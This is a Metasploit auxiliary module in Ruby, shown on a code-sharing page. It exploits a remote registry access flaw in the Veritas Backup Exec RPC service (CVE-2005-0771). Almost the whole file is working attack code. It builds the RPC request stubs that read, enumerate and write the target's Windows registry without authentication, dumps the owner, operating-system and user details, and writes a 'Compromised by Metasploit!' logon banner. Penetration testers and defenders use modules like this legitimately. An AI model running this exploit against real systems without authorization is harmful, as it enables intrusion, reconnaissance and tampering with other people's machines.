Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/backupexec/registry.rb
19612 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::DCERPC
8
include Msf::Post::Windows::Registry
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Veritas Backup Exec Server Registry Access',
15
'Description' => %q{
16
This modules exploits a remote registry access flaw in the BackupExec Windows
17
Server RPC service. This vulnerability was discovered by Pedram Amini and is based
18
on the NDR stub information posted to openrce.org.
19
Please see the action list for the different attack modes.
20
},
21
'Author' => [ 'hdm' ],
22
'License' => MSF_LICENSE,
23
'References' => [
24
[ 'OSVDB', '17627' ],
25
[ 'CVE', '2005-0771' ],
26
[ 'URL', 'https://web.archive.org/web/20110801042138/http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=269'],
27
],
28
'Actions' => [
29
['System Information', { 'Description' => 'Dump system info (user, owner, OS, CPU...)' }],
30
['Create Logon Notice', { 'Description' => 'Add a logon notice' }]
31
],
32
'DefaultAction' => 'System Information',
33
'Notes' => {
34
'Stability' => [CRASH_SAFE],
35
'SideEffects' => [IOC_IN_LOGS],
36
'Reliability' => []
37
}
38
)
39
)
40
41
register_options(
42
[
43
Opt::RPORT(6106),
44
OptString.new(
45
'WARN',
46
[
47
false,
48
'The warning to display for the Logon Notice action',
49
"Compromised by Metasploit!\r\n"
50
]
51
),
52
]
53
)
54
end
55
56
def auxiliary_commands
57
return {
58
'regread' => 'Read a registry value'
59
# "regenum" => "Enumerate registry keys",
60
}
61
end
62
63
def run
64
case action.name
65
when 'System Information'
66
system_info
67
when 'Create Logon Notice'
68
logon_notice
69
end
70
end
71
72
def cmd_regread(*args)
73
if args.empty?
74
print_status('Usage: regread HKLM\\\\Hardware\\\\Description\\\\System\\\\SystemBIOSVersion')
75
return
76
end
77
78
paths = args[0].split('\\')
79
hive = paths.shift
80
subval = paths.pop
81
subkey = paths.join('\\')
82
data = backupexec_regread(hive, subkey, subval)
83
84
if data
85
print_status("DATA: #{deunicode(data)}")
86
else
87
print_error("Failed to read #{hive}\\#{subkey}\\#{subval}...")
88
end
89
end
90
91
def cmd_regenum(*args)
92
if args.empty?
93
print_status('Usage: regenum HKLM\\\\Software')
94
return
95
end
96
97
paths = args[0].split('\\')
98
hive = paths.shift
99
subkey = '\\' + paths.join('\\')
100
data = backupexec_regenum(hive, subkey)
101
102
if data
103
print_status("DATA: #{deunicode(data)}")
104
else
105
print_error("Failed to enumerate #{hive}\\#{subkey}...")
106
end
107
end
108
109
def system_info
110
print_status('Dumping system information...')
111
112
prod_id = backupexec_regread('HKLM', 'Software\\Microsoft\\Windows\\CurrentVersion', 'ProductId') || 'Unknown'
113
prod_name = backupexec_regread('HKLM', 'Software\\Microsoft\\Windows NT\\CurrentVersion', 'ProductName') || 'Windows (Unknown)'
114
prod_sp = backupexec_regread('HKLM', 'Software\\Microsoft\\Windows NT\\CurrentVersion', 'CSDVersion') || 'No Service Pack'
115
owner = backupexec_regread('HKLM', 'Software\\Microsoft\\Windows NT\\CurrentVersion', 'RegisteredOwner') || 'Unknown Owner'
116
company = backupexec_regread('HKLM', 'Software\\Microsoft\\Windows NT\\CurrentVersion', 'RegisteredOrganization') || 'Unknown Company'
117
cpu = backupexec_regread('HKLM', 'Hardware\\Description\\System\\CentralProcessor\\0', 'ProcessorNameString') || 'Unknown CPU'
118
username = backupexec_regread('HKCU', 'Software\\Microsoft\\Windows\\CurrentVersion\\Explorer', 'Logon User Name') || 'SYSTEM'
119
120
print_status("The current interactive user is #{deunicode(username)}")
121
print_status("The operating system is #{deunicode(prod_name)} #{deunicode(prod_sp)} (#{deunicode(prod_id)})")
122
print_status("The system is registered to #{deunicode(owner)} of #{deunicode(company)}")
123
print_status("The system runs on a #{deunicode(cpu)}")
124
end
125
126
def logon_notice
127
print_status("Setting the logon warning to #{datastore['WARN'].strip}...")
128
backupexec_regwrite('HKLM', 'Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon', 'LegalNoticeText', REG_SZ, datastore['WARN'])
129
backupexec_regwrite('HKLM', 'Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon', 'LegalNoticeCaption', REG_SZ, 'METASPLOIT')
130
end
131
132
def deunicode(str)
133
str.gsub("\x00", '').strip
134
end
135
136
#
137
# Write a registry key
138
#
139
def backupexec_regwrite(hive, subkey, subval, type, data)
140
stub = backupexec_regrpc_write(
141
hive: registry_hive_lookup(hive),
142
subkey: subkey,
143
subval: subval,
144
type: type,
145
data: data
146
)
147
resp = backupexec_regrpc_call(5, stub)
148
return false if resp.empty?
149
150
return true
151
end
152
153
#
154
# Read a registry key
155
#
156
def backupexec_regread(hive, subkey, subval, type = REG_SZ)
157
stub = backupexec_regrpc_read(
158
hive: registry_hive_lookup(hive),
159
subkey: subkey,
160
subval: subval,
161
type: type
162
)
163
resp = backupexec_regrpc_call(4, stub)
164
165
return nil if resp.empty?
166
167
ret, len = resp[0, 8].unpack('VV')
168
return nil if ret == 0
169
return nil if len == 0
170
171
return resp[8, len]
172
end
173
174
#
175
# Enumerate a registry key
176
#
177
def backupexec_regenum(hive, subkey)
178
stub = backupexec_regrpc_enum(
179
hive: registry_hive_lookup(hive),
180
subkey: subkey
181
)
182
resp = backupexec_regrpc_call(7, stub)
183
p resp
184
185
return nil if resp.empty?
186
187
ret, len = resp[0, 8].unpack('VV')
188
return nil if ret == 0
189
return nil if len == 0
190
191
return resp[8, len]
192
end
193
194
#
195
# Call the backupexec registry service
196
#
197
def backupexec_regrpc_call(opnum, data = '')
198
handle = dcerpc_handle(
199
'93841fd0-16ce-11ce-850d-02608c44967b', '1.0',
200
'ncacn_ip_tcp', [datastore['RPORT']]
201
)
202
203
dcerpc_bind(handle)
204
205
dcerpc.call(opnum, data)
206
outp = ''
207
208
if dcerpc.last_response && dcerpc.last_response.stub_data
209
outp = dcerpc.last_response.stub_data
210
end
211
212
disconnect
213
214
outp
215
end
216
217
# RPC Service 4
218
def backupexec_regrpc_read(opts = {})
219
subkey = opts[:subkey] || ''
220
subval = opts[:subval] || ''
221
hive = opts[:hive] || HKEY_LOCAL_MACHINE
222
type = opts[:type] || REG_SZ
223
224
stub =
225
NDR.UnicodeConformantVaryingString(subkey) +
226
NDR.UnicodeConformantVaryingString(subval) +
227
NDR.long(type) +
228
NDR.long(1024) +
229
NDR.long(0) +
230
NDR.long(4) +
231
NDR.long(4) +
232
NDR.long(hive)
233
return stub
234
end
235
236
# RPC Service 7
237
def backupexec_regrpc_enum(opts = {})
238
subkey = opts[:subkey] || ''
239
hive = opts[:hive] || HKEY_LOCAL_MACHINE
240
stub =
241
NDR.UnicodeConformantVaryingString(subkey) +
242
NDR.long(4096) +
243
NDR.long(0) +
244
NDR.long(4) +
245
NDR.long(4) +
246
NDR.long(hive)
247
return stub
248
end
249
250
# RPC Service 5
251
def backupexec_regrpc_write(opts = {})
252
subkey = opts[:subkey] || ''
253
subval = opts[:subval] || ''
254
hive = opts[:hive] || HKEY_LOCAL_MACHINE
255
type = opts[:type] || REG_SZ
256
data = opts[:data] || ''
257
258
if type == REG_SZ || type == REG_EXPAND_SZ
259
data = Rex::Text.to_unicode(data + "\x00")
260
end
261
262
stub =
263
NDR.UnicodeConformantVaryingString(subkey) +
264
NDR.UnicodeConformantVaryingString(subval) +
265
NDR.long(type) +
266
NDR.long(data.length) +
267
NDR.long(data.length) +
268
data +
269
NDR.align(data) +
270
NDR.long(4) +
271
NDR.long(4) +
272
NDR.long(hive)
273
return stub
274
end
275
end
276
277